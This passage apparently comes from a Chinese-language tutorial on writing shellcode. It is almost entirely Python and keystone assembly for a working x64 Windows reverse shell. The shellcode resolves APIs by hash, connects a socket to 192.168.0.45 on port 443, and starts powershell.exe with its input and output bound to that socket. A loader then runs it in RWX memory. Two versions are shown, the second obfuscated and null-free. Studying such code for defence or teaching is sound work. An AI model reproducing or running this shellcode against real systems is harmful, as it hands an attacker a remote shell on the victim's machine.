" jrcxz not_found;" # If RCX = 0, the function is not found
" dec ecx;" # Index decreases by 1
" xor rsi, rsi;" # Zero out RSI
" mov esi, [r14 + rcx*4];" # RVA of current function name string
" add rsi, r9;" # RSI points to current function name
" function_hashing:"
" xor rax, rax;" # Clean RAX
" xor rdx, rdx;" # Clean RDX
" cld;" # Clear direction flag
" iteration:"
" lodsb;" # Copy next byte in RSI to Al
" test al, al;" # If reach to the end
" jz compare_hash;" # Compare the function hash
" ror edx, 0x0d;" # Part of the hashing algorithm
" add edx, eax;" # Part of the hashing algorithm,
" jmp iteration;" # Move to next byte
" compare_hash:"
" cmp edx, r8d;"
" jnz search_function;"
" mov r10d, [r15 + 0x24];" # Ordinal Table RVA
" add r10, r9;" # Ordinal Table VMA
" movzx ecx, word ptr [r10 + 2*rcx];" # Function Ordinal Number
" mov r11d, [r15 + 0x1c];" # EAT RVA
" add r11, r9;" # EAT VMA
" mov eax, [r11 + 4*rcx];" # Function RVA
" add rax, r9;" # Function VMA
" ret;"
" not_found:"
" ret;"
" jump_section:"
" mov rbp, r9;" # RBP = Kernel32.dll Address
" mov r8d, 0xec0e4e8e;" # LoadLibraryA Hash
" sub rsp, 0x30;"
" call parse_module;" # Search LoadLibraryA's address
" add rsp, 0x30;"
" mov r12, rax;" # R12 = LoadLibraryA Address
" mov r8d, 0x7c0dfcaa;" # GetProcAddress Hash
" sub rsp, 0x30;"
" call parse_module;" # Search GetProcAddress' address
" add rsp, 0x30;"
" mov r13, rax;" # R13 = GetProcAddress Address
" load_module:"
" xor rax, rax;"
" xor r13, r13;"
" mov ax, 0xffff;" #
" mov r13w, 0x9393;"
" sub rax, r13;"
" push rax ;" # Push RAX onto the stack
" mov rax, 0x642E32335F325357 ;" # Move "WS2_32.D" into RAX
" push rax ;" # Push RAX onto the stack
" mov rcx, rsp;" # RCX = Pointer to "ws2_32.dll\0"
" sub rsp, 0x20;" # Reverse space for x64 calling convention
" mov rax, r12;" # RAX = Address of LoadLibraryA
" call rax;" # LoadLibraryA("ws2_32.dll")
" add rsp, 0x20;" # Clean up reversed space
" mov r14, rax;" # Save the returned base address of ws2_32.dll
" call_wsastartup:"
" mov r9, rax;" # R9 = WS2_32.DLL
" mov r8d, 0x3bfcedcb;" # WSAStart Hash
" mov rbx, r9;" # Save ws2_32.dll base address in rbx for next use
" call parse_module;" # Search WSAStartup address
" xor rcx, rcx;"
" mov cx, 0x198;"
" sub rsp, rcx;"
" lea rdx, [rsp];" # lpWSAData
" xor rcx, rcx;"
" xor r13, r13;"
" mov cx, 0x1313;"
" mov r13w, 0x1111;"
" sub rcx, r13;"
" sub rsp, 0x50;"
" call rax;" # Call WSAStartup
" add rsp, 0x50;" # Recover the stack
" call_wsasocket:"
" mov r9, rbx;" # R9 = WS2_32.DLL
" mov r8d, 0xadf509d9;" # WSASocketA Hash
" call parse_module;" # Search WSASocketA address
" sub rsp, 0x50;"
" xor rcx, rcx;"
" inc rcx;"
" inc rcx;"
" xor rdx, rdx;"
" inc rdx;"
" xor r8, r8;"
" mov r8b, 0xfffa;"
" neg r8b;"
" xor r9, r9;" # 0
" mov [rsp+0x20], r9;" # 0
" mov [rsp+0x28], r9;" # 0
" call rax;"
" mov r12, rax;" # Save socket to r12 for later use
" add rsp, 0x50;"
" call_wsaconnect:"
" mov r9, rbx;" # R9 = WS2_32.DLL
" mov r8d, 0xb32dba0c;" # WSAConnect Hash
" call parse_module;" # Search WSAConnect address
" xor r13, r13;"
" xor r15, r15;"
" mov r13w, 0xffff;"
" mov r15w, 0xfdff;"
" sub r13, r15;"
" sub rsp, r13;"
" mov rcx, r12;" # Move socket to RCX as the 1st argument
" xor rdx, rdx;"
" inc rdx;"
" inc rdx;"
" mov [rsp], rdx;" # Store structure socketaddr
" xor rdx, rdx;"
" mov dx, 0xbb01;"
" mov [rsp+2], rdx;" # Add 2nd member of socketaddr
" mov edx, 0x3d10b8d0;"
" sub edx, 0x10101010;"
" mov [rsp+4], rdx;" # Add 3rd member of socketaddr
" lea rdx, [rsp];" # Pointer to socketaddr structure as the 2nd argument
" xor r8, r8;"
" mov r8w, 0x2610;"
" sub r8w, 0x1010;"
" xor r9, r9;" # lpCallerData = NULL as the 4th argument
" sub rsp, 0x50;" # Reverse space for fastcall convention
" mov [rsp+0x20], r9;" # lpCalleeData = NULL as the 5th argument
" mov [rsp+0x28], r9;" # lpSQOS = NULL as the 6th argument
" mov [rsp+0x30], r9;" # lpGQOS = NULL as the 7th argument
" call rax;"
" add rsp, 0x50;" # Release space
" call_createprocess:"
" mov r9, rbp;" # R9 = KERNEL32.DLL
" mov r8d, 0x16b3fe72;" # CreateProcessA Hash
" call parse_module;" # Search CreateProcessA address
" mov rdx, 0x10107588753e7c7c;"
" mov r13, 0x1010101010101010;"
" sub rdx, r13;"
" sub rsp,0x18;"
" push rdx;"
" mov rdx, 0x6568737265776f70;"
" push rdx;"
" mov rcx, rsp;" # Application Name Argument as the 1st argument
" push r12;" # STDERROR
" push r12;" # STDOUTPUT
" push r12;" # STDINPUT
" xor rdx, rdx;"
" push dx;"
" push rdx;"
" push rdx;"
" mov dx, 0x1110;"
" sub dx, 0x1010;"
" push dx;" # dwFlags = 0x100
" xor rdx, rdx;"
" push dx;"
" push dx;"
" push rdx;"
" push rdx;"
" push rdx;"
" push rdx;"
" push rdx;"
" push rdx;"
" mov dl, 0x68;"
" push rdx;" # cb = 0x68
" mov rdi, rsp;"
" mov rdx, rsp;"
" sub dl, 0x68;"
" push rdx;" # ProcessInformation as the 10th argument
" push rdi;" # Pointer to STARTINFO as the 9th argument
" xor rdx, rdx;"
" push rdx;" # lpCurrentDirectory as the 8th argument
" push rdx;" # lpEnvironment as the 7th argument
" push rdx;" # dwCreationFlags as the 6th argument
" inc rdx;"
" push rdx;" # bInheritHandles as the 5th argument
" xor rdx, rdx;"
" push rdx;" # Reverse space for 4th argument
" push rdx;" # Reverse space for 3th argument
" push rdx;" # Reverse space for 2th argument
" push rdx;" # Reverse space for 1th argument
" mov rdx, rcx;" # lpCommandLine
" xor rcx, rcx;"
" mov r8, rcx;" # lpProcessAttributes
" mov r9, rcx;" # lpThreatAttributes
" call rax;"
)
# Initialize engine in X64-64bit mode
ks = Ks(KS_ARCH_X86, KS_MODE_64)
encoding, count = ks.asm(CODE)
print("Encoded %d instructions..." % count)
sh = b""
for e in encoding:
sh += struct.pack("B", e)
shellcode = bytearray(sh)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),
buf,
ctypes.c_int(len(shellcode)))
print("Shellcode located at address %s" % hex(ptr))
input("...ENTER TO EXECUTE SHELLCODE...")
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))
减少字节数
改善寻找 Kernel32.dll 的方法
import ctypes, struct
from keystone import *
CODE = (
" locate_kernel32:"
" xor rdx, rdx;"
" mov rax, gs:[rdx + 0x60];" # RAX = TEB->PEB
" mov rsi, [rax + 0x18];" # RSI = PEB->LDR
" mov rsi, [rsi + 0x20];" # RSI = PEB->LDR.InMemoryOrderModuleList
" mov r9, [rsi];" # python.exe
" mov r9, [r9];" # ntdll.dll
" mov r9, [r9+0x20];" # kernel32.dll
" jmp jump_section;" # Achieve PIC
" parse_module:"
" mov ecx, dword ptr [r9 + 0x3c];" # R9 saves Dll Base address, fetch the offset to NT Header
" xor r15, r15;" # Fetch RVA of Export Directory
" mov r15b, 0x88;"
" add r15, r9;"
" add r15, rcx;"
" mov r15d, dword ptr [r15];"
" add r15, r9;" # R15 saves the VMA of Export Directory
" mov ecx, dword ptr [r15 + 0x18];" # Number of function names
" mov r14d, dword ptr [r15 + 0x20];" # Fetch RVA of ENPT
" add r14, r9;" # R14 saves the VMA of ENPT
" search_function:"
" jrcxz not_found;" # If RCX = 0, the function is not found
" dec ecx;" # Index decreases by 1
" xor rsi, rsi;" # Zero out RSI
" mov esi, [r14 + rcx*4];" # RVA of current function name string
" add rsi, r9;" # RSI points to current function name
" function_hashing:"
" xor rax, rax;" # Clean RAX
" xor rdx, rdx;" # Clean RDX
" cld;" # Clear direction flag
" iteration:"
" lodsb;" # Copy next byte in RSI to Al
" test al, al;" # If reach to the end
" jz compare_hash;" # Compare the function hash
" ror edx, 0x0d;" # Part of the hashing algorithm
" add edx, eax;" # Part of the hashing algorithm,
" jmp iteration;" # Move to next byte
" compare_hash:"
" cmp edx, r8d;"
" jnz search_function;"
" mov r10d, [r15 + 0x24];" # Ordinal Table RVA
" add r10, r9;" # Ordinal Table VMA
" movzx ecx, word ptr [r10 + 2*rcx];" # Function Ordinal Number
" mov r11d, [r15 + 0x1c];" # EAT RVA
" add r11, r9;" # EAT VMA
" mov eax, [r11 + 4*rcx];" # Function RVA
" add rax, r9;" # Function VMA
" ret;"
" not_found:"
" ret;"
" jump_section:"
" mov rbp, r9;" # RBP = Kernel32.dll Address
" mov r8d, 0xec0e4e8e;" # LoadLibraryA Hash
" sub rsp, 0x30;"
" call parse_module;" # Search LoadLibraryA's address
" add rsp, 0x30;"
" mov r12, rax;" # R12 = LoadLibraryA Address
" mov r8d, 0x7c0dfcaa;" # GetProcAddress Hash
" sub rsp, 0x30;"
" call parse_module;" # Search GetProcAddress' address
" add rsp, 0x30;"
" mov r13, rax;" # R13 = GetProcAddress Address
" load_module:"
" xor rax, rax;" # Move "ll" + 0x9393 into RAX
" xor r13, r13;"
" mov ax, 0xffff;" # Recover "ll"
" mov r13w, 0x9393;"
" sub rax, r13;"
" push rax ;" # Push RAX onto the stack
" mov rax, 0x642E32335F325357 ;" # Move "WS2_32.D" into RAX
" push rax ;" # Push RAX onto the stack
" mov rcx, rsp;" # RCX = Pointer to "ws2_32.dll" s
" sub rsp, 0x20;" # Reverse space for x64 calling convention
" mov rax, r12;" # RAX = Address of LoadLibraryA
" call rax;" # LoadLibraryA("ws2_32.dll")
" add rsp, 0x20;" # Clean up reversed space
" mov r14, rax;" # Save the returned base address of ws2_32.dll
" call_wsastartup:"
" mov r9, rax;" # R9 = WS2_32.DLL
" mov r8d, 0x3bfcedcb;" # WSAStart Hash
" mov rbx, r9;" # Save ws2_32.dll base address in rbx for next use
" call parse_module;" # Search WSAStartup address
" xor rcx, rcx;"
" mov cx, 0x198;"
" sub rsp, rcx;"
" lea rdx, [rsp];" # lpWSAData
" xor rcx, rcx;"
" xor r13, r13;"
" mov cx, 0x1313;" # wVersionRequired = 0x202 + 0x1010
" mov r13w, 0x1111;" # Recover 0x202
" sub rcx, r13;"
" sub rsp, 0x50;"
" call rax;" # Call WSAStartup
" add rsp, 0x50;" # Recover the stack
" call_wsasocket:"
" mov r9, rbx;" # R9 = WS2_32.DLL
" mov r8d, 0xadf509d9;" # WSASocketA Hash
" call parse_module;" # Search WSASocketA address
" sub rsp, 0x50;"
" xor rcx, rcx;" # AF_INIT =2 as the 1st argument
" inc rcx;"
" inc rcx;"
" xor rdx, rdx;"
" inc rdx;" # SOCK_STREAM = 1 as the 2nd argument
" xor r8, r8;"
" mov r8b, 0xfffa;" # rb 8= -6
" neg r8b;" # IPPROTO_TCP = 6 as the 3rd argument
" xor r9, r9;" # lpProtocolInfo = 0 as the 4rd argument
" mov [rsp+0x20], r9;" # g = 0 as the 5th argument
" mov [rsp+0x28], r9;" # dwFlags = 0 as the 6th argument
" call rax;" # Call WSASocketA
" mov r12, rax;" # Save socket to r12 for later use
" add rsp, 0x50;"
" call_wsaconnect:"
" mov r9, rbx;" # R9 = WS2_32.DLL
" mov r8d, 0xb32dba0c;" # WSAConnect Hash
" call parse_module;" # Search WSAConnect address
" xor r13, r13;"
" xor r15, r15;"
" mov r13w, 0xffff;"
" mov r15w, 0xfdff;"
" sub r13, r15;"
" sub rsp, r13;" # Reserve 0x200 bytes for SocketAddr (Overkill)
" mov rcx, r12;" # Move socket to RCX as the 1st argument
" xor rdx, rdx;" # sin_family = AF_INET = 2 as the 1st member in sockaddr structure
" inc rdx;"
" inc rdx;"
" mov [rsp], rdx;" # Store structure socketaddr
" xor rdx, rdx;" # Port 443 01bb as the 2nd member in sockaddr structure
" mov dx, 0xbb01;"
" mov [rsp+2], rdx;" # Add 2nd member of socketaddr
" mov edx, 0x3d10b8d0;" # IP = 192.168.0.45 + 0x10101010 as the 3rd member in sockaddr structure
" sub edx, 0x10101010;" # Recover IP address
" mov [rsp+4], rdx;" # Add 3rd member of socketaddr
" lea rdx, [rsp];" # Pointer to socketaddr structure as the 2nd argument
" xor r8, r8;"
" mov r8w, 0x1026;"
" sub r8w, 0x1010;" # namelen = 16 bytes as the 3rd argument
" xor r9, r9;" # lpCallerData = NULL as the 4th argument
" sub rsp, 0x50;" # Reserve space for fastcall convention
" mov [rsp+0x20], r9;" # lpCalleeData = NULL as the 5th argument
" mov [rsp+0x28], r9;" # lpSQOS = NULL as the 6th argument
" mov [rsp+0x30], r9;" # lpGQOS = NULL as the 7th argument
" call rax;" # Call WSAConnect
" add rsp, 0x50;" # Release space
" call_createprocess:"
" mov r9, rbp;" # R9 = KERNEL32.DLL
" mov r8d, 0x16b3fe72;" # CreateProcessA Hash
" call parse_module;" # Search CreateProcessA address
" mov rdx, 0x10107588753e7c7c;" # Push string "exe.ll" + 0x1010101010101010
" mov r13, 0x1010101010101010;" # Recover "exe.ll"
" sub rdx, r13;"
" sub rsp,0x18;" # Align stack to meet 16 bytes alignment
" push rdx;" # Push string "ll.exe" to stack
" mov rdx, 0x6568737265776f70;" # Push string "ehsrewop"
" push rdx;" # Push string "powershe" to stack
" mov rcx, rsp;" # Application Name Argument as the 1st argument
" push r12;" # STDERROR
" push r12;" # STDOUTPUT
" push r12;" # STDINPUT
" xor rdx, rdx;"
" push dx;"
" push rdx;"
" push rdx;"
" mov dx, 0x1110;" # 0x100 = 0x1110 - 0x1010
" sub dx, 0x1010;"
" push dx;" # dwFlags = 0x100
" xor rdx, rdx;"
" push dx;"
" push dx;"
" push rdx;"
" push rdx;"
" push rdx;"
" push rdx;"
" push rdx;"
" push rdx;"
" mov dl, 0x68;"
" push rdx;" # cb = 0x68
" mov rdi, rsp;"
" mov rdx, rsp;"
" sub dl, 0x68;"
" push rdx;" # ProcessInformation as the 10th argument
" push rdi;" # Pointer to STARTINFO as the 9th argument
" xor rdx, rdx;"
" push rdx;" # lpCurrentDirectory as the 8th argument
" push rdx;" # lpEnvironment as the 7th argument
" push rdx;" # dwCreationFlags as the 6th argument
" inc rdx;"
" push rdx;" # bInheritHandles as the 5th argument
" xor rdx, rdx;"
" push rdx;" # Reserve space for 4th argument on stack
" push rdx;" # Reserve space for 3th argument on stack
" push rdx;" # Reserve space for 2th argument on stack
" push rdx;" # Reserve space for 1th argument on stack
" mov rdx, rcx;" # lpCommandLine
" xor rcx, rcx;"
" mov r8, rcx;" # lpProcessAttributes as the 3rd argument
" mov r9, rcx;" # lpThreatAttributes as the 4th argument
" call rax;"
)
# Initialize engine in X64-64bit mode
ks = Ks(KS_ARCH_X86, KS_MODE_64)
encoding, count = ks.asm(CODE)
print("Encoded %d instructions..." % count)
sh = b""
for e in encoding:
sh += struct.pack("B", e)
shellcode = bytearray(sh)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),
buf,
ctypes.c_int(len(shellcode)))
print("Shellcode located at address %s" % hex(ptr))
input("...ENTER TO EXECUTE SHELLCODE...")
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))
参考: